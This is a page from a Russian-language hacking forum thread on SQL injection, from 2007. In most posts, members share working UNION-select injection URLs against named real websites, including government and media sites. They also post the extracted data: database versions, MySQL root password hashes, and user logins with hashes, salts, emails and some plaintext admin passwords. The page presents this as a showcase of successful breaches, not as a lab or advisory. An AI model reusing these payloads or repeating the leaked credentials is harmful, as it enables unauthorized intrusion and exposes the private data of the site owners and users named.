HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу SQL Инъекции
   
Ответ
Страница 418 из 1602 « Первая < 318368408 414 415 416 417 418 419 420 421 422 4284685189181418 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

sql
  #1  
Старый 30.12.2007, 13:31
Серенький
Banned
Регистрация: 13.04.2007
Сообщений: 123
Провел на форуме:
921520

Репутация: 572
Arrow sql
Saint-Sky Loker
Цитата:
Этого там нет... (не 6, а -6)
и тем не менее такая таблица с полями там есть... (попробуй другие названия таблиц и полей, и ощути разницу) и именно 6, а не -6, т.к. не будет видно отличий (отсутствует вывод таблицы). Так что я бы посоветовал посимвольный перебор, но в версиях < 4.1 не поддерживаются подзапросы...

ку?
Последний раз редактировалось Серенький; 01.01.2008 в 03:56..
 
Ответить с цитированием

  #2  
Старый 30.12.2007, 14:26
Серенький
Banned
Регистрация: 13.04.2007
Сообщений: 123
Провел на форуме:
921520

Репутация: 572
По умолчанию
Saint-Sky
я так думаю, это говорит о том, что обе эти таблицы есть, но из articles есть прямой вывод, а из users - нет.

http://battle8.hip-hop.ru/index.php?mode=articles&id=6+union+select+1,2+from +users/* - есть вывод статьи
http://battle8.hip-hop.ru/index.php?mode=articles&id=6+union+select+1,2+from +articles/* - есть вывод статьи

http://battle8.hip-hop.ru/index.php?mode=articles&id=-6+union+select+1,2+from+users/* - нет вывода инфы из таблицы
http://battle8.hip-hop.ru/index.php?mode=articles&id=-6+union+select+aes_decrypt(aes_encrypt(concat_ws(0 x3a,count(id)),0x71),0x71),2+from+articles/* - есть вывод инфы из таблицы
 
Ответить с цитированием

  #3  
Старый 30.12.2007, 16:33
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020

Репутация: 1423
По умолчанию
http://www.rakurs.com/?news_id=-4+union+select+1,2,3,4,5,6,7,concat_ws(0x2F,cast(v ersion()+as+binary),cast(database()+as+binary),cas t(user()+as+binary))/*

4.1.10a/rakurs/rakurs@localhost
-----------------------------------------------------------------------------

region-plus.tv


http://www.region-plus.tv/index.php?c=3socium&n=-1+union+select+1,2,concat_ws(0x2F,version(),databa se(),user()),4,5,6/*

5.0.41-community/region_base2/region_admin@localhost


http://www.region-plus.tv/index.php?c=3socium&n=-1+union+select+1,2,concat_ws(0x2F,username,passwor d,email),4,5,6+from+forums_auth+limit+0,1/*

логин/хеш/мейл
io/6e5149991a779b92918203cc28078fbd/egik_israhell@pisem.net



http://www.region-plus.tv/index.php?c=3socium&n=-1+union+select+1,2,concat_ws(0x2F,login,password), 4,5,6+from+newsmaker+limit+0,1/*

логин/хеш
BIG/3f604f988c27002e752fe43822e0741d
 
Ответить с цитированием

  #4  
Старый 30.12.2007, 17:48
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020

Репутация: 1423
По умолчанию
http://www.ninsis.ru/newsview.php?id=-1'+union+select+1,concat_ws(0x2F,version(),databas e(),user()),3,4,5,6/*

4.1.22-log/dbninsis/root@localhost


http://www.ninsis.ru/newsview.php?id=-1'+union+select+1,concat_ws(0x2F,user,password),3, 4,5,6+from+mysql.user/*

root/*1B8D4E3A1CCB31B260088B7C11FD37BC79A35EE3
 
Ответить с цитированием

  #5  
Старый 30.12.2007, 20:33
.Begemot.
Участник форума
Регистрация: 27.03.2007
Сообщений: 161
Провел на форуме:
1273248

Репутация: 785
По умолчанию
sao.mos.ru

Код HTML:
http://sao.mos.ru/?r=13&id=2376+union+select+0,1,2,3,4,5/*
Код HTML:
http://sao.mos.ru/?r=13&id=2376+union+select+0,concat(USER(),VERSION(),DATABASE()),2,3,4,5/*
USER:sao1@chicken
VERSION:4.1.12
DATABASE:sao_pref

Есть таблица user
Код HTML:
http://sao.mos.ru/?r=13&id=2376+union+select+0,1,2,3,4,5+from+user/*
 
Ответить с цитированием

  #6  
Старый 30.12.2007, 20:43
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020

Репутация: 1423
По умолчанию
ruvr.ru


http://www.ruvr.ru/main.php?lng=rus&q=54970&cid=-1+union+select+1,2,3,concat_ws(0x2F,version(),data base(),user())/*&p=30.12.2007

5.0.41-log/ruvr/root@localhost


все таблицы, где есть столбец “password”
http://www.ruvr.ru/main.php?lng=rus&q=54970&cid=-1+union+select+1,2,3,concat(table_name,0x3b,table_ schema)+from+information_schema.columns+where+colu mn_name=0x70617373776F7264/*&p=30.12.2007

user_auth;cacti
user;mysql
mybb_forums;phpbb_es
mybb_users;phpbb_es
punbb_users;phpbb_es
u_users;phpbb_es


http://www.ruvr.ru/main.php?lng=rus&q=54970&cid=-1+union+select+1,2,3,concat_ws(0x2F,user,password) +from+mysql.user/*&p=30.12.2007

root/*F063FF97347E5D3E80B937BCA217308BF22D6E88


http://www.ruvr.ru/main.php?lng=rus&q=54970&cid=-1+union+select+1,2,3,concat_ws(0x2F,username,passw ord,salt,email)+from+phpbb_es.mybb_users+limit+0,1/*&p=30.12.2007

логин/хеш/соль/мейл
adv/c6e9d9efbd87fdce20a3e3009294e109/S11C7Ufl/adv@adv.ru
 
Ответить с цитированием

  #7  
Старый 30.12.2007, 21:06
Ded MustD!e
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
Провел на форуме:
14324684

Репутация: 3908
По умолчанию
http://www.churchilltrust.com.au/

Код:
http://www.churchilltrust.com.au/content.php?id=-1+union+select+1,2,3,convert(concat_ws(0x3a,username,password)+using+latin1),5,6,7,8,9,10,11+from+users/*
admin:4dm1n

http://www.mgnsw.org.au/

Код:
http://www.mgnsw.org.au/museums_and_galleries.php?id=-1+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6/*
 
Ответить с цитированием

  #8  
Старый 30.12.2007, 21:40
fobofob
Участник форума
Регистрация: 02.08.2007
Сообщений: 242
Провел на форуме:
1373642

Репутация: 569
По умолчанию
Прикольный вывод )))
код:

http://www.auto-dom.ru/mlink.cgi?type=0&id=-50+union+select+cast(version()+as+binary),3/*
 
Ответить с цитированием

  #9  
Старый 30.12.2007, 23:44
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020

Репутация: 1423
По умолчанию
transport-ua.com


http://www.transport-ua.com/news.php?rub=5&id=-1+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x2F,ve rsion(),database(),user())/*

5.0.45-log/transport/jsu75bfLnf@localhost



http://www.transport-ua.com/news.php?rub=5&id=-1+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x2F,lo gin,password,email_1)+from+users/*

логин/хеш/мейл
valentina/0af870403b703b423aa901e1220bbfcf/nzachesa@yahoo.com



http://www.transport-ua.com/news.php?rub=5&id=-1+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x2F,lo gin,password,email)+from+client/*

логин/пароль/мейл
89152/vladimir/admin@transport-ua.com
 
Ответить с цитированием

  #10  
Старый 31.12.2007, 02:07
Ded MustD!e
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
Провел на форуме:
14324684

Репутация: 3908
По умолчанию
http://www.mid.dj/ Официальный сайт министерства внутренних дел, судя по .dj - это Республика Джибути)))))) Для тех кто не знает - Восточная Африка=))))))

Код:
http://www.mid.dj/lireArticleid.php?id=-1+union+select+convert(concat_ws(0x3a,user(),version(),database())+using+latin1),2,3/*
http://www.booking.dj/ Сайт какого-то диджея...логин и пасс меня убивают....

Код:
http://www.booking.dj/artist.php?id=-4'+union+select+1,concat_ws(0x3a,login,pass),3,4,5,6+from+admins/*
admin:123
Последний раз редактировалось Ded MustD!e; 31.12.2007 в 02:15..
 
Ответить с цитированием
Ответ
Страница 418 из 1602 « Первая < 318368408 414 415 416 417 418 419 420 421 422 4284685189181418 > Последняя »



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.